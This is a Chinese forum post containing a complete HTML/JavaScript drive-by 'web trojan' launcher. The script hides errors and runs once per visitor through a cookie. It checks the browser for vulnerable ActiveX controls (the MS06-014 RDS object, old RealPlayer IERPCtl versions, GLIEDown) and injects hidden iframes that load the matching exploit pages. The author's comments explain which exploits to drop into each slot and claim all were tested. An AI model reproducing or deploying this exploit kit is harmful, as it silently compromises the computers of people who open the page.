文章作者：x14o5
信息来源：安全叶子技术小组[J.Leaves Security Team]（
http://00day.cn）
<HTML><BODY>
<script>window.onerror=function(){return true;}</script>
<Script Language="JavaScript">
var cook = "Silentwm";
function setCookie(name, value, expire)
{
window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}
function getCookie(Name)
{
var search = Name + "=";
if (window.document.cookie.length > 0)
{
offset = window.document.cookie.indexOf(search);
if (offset != -1)
{
offset += search.length;
end = window.document.cookie.indexOf(";", offset)
if (end == -1)
end = window.document.cookie.length;
return unescape(window.document.cookie.substring(offset, end));
}
}
return null;
}
function register(name)
{
var today = new Date();
var expires = new Date();
expires.setTime(today.getTime() + 1000*60*60*24);
setCookie(cook, name, expires);
}
function openWM()
{
var c = getCookie(cook);
if (c != null)
{
return;
}
register(cook);
document.write("<iframe src=1.htm width=50 height=0><\/iframe>");
document.write("<iframe src=2.htm width=50 height=0><\/iframe>");
//只要不卡的网马都可以放近来，比如FLASH...都可以
window.defaultStatus="完成";
try{ var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<iframe width=50 height=0 src=3.htm></iframe>")}
//这里的功能和上面差不多 最好放MS06014 我测试的时候能执行
else
{
try{ var j;
var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
catch(j){};
finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.I"+"ERPCtl.1").PlayerProperty("PRODUCTV"+"ERSION")<="6.0.1"+"4.552")
{document.write('<iframe width=10 height=0 src=4.htm></iframe>')}
//这里放real10.real11...这里是判断啥类型的网马
else
{
document.write('<iframe width=20 height=0 src=5.htm></iframe>')}}}
//这里放real11或者real10类型的都可以
try{ var g;
var glworld=new ActiveXObject("GLIEDown.IEDown.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write('<iframe width=10 height=0 src=6.htm></iframe>')}}
//这里放会自动关闭IE的网马...如联众 yahoo 都可以 ！
}}
}
openWM();
</script>
</BODY></HTML>
测试都OK。。。以上务必按//说明写的放。。。不然不执行不管我事哦 。。。
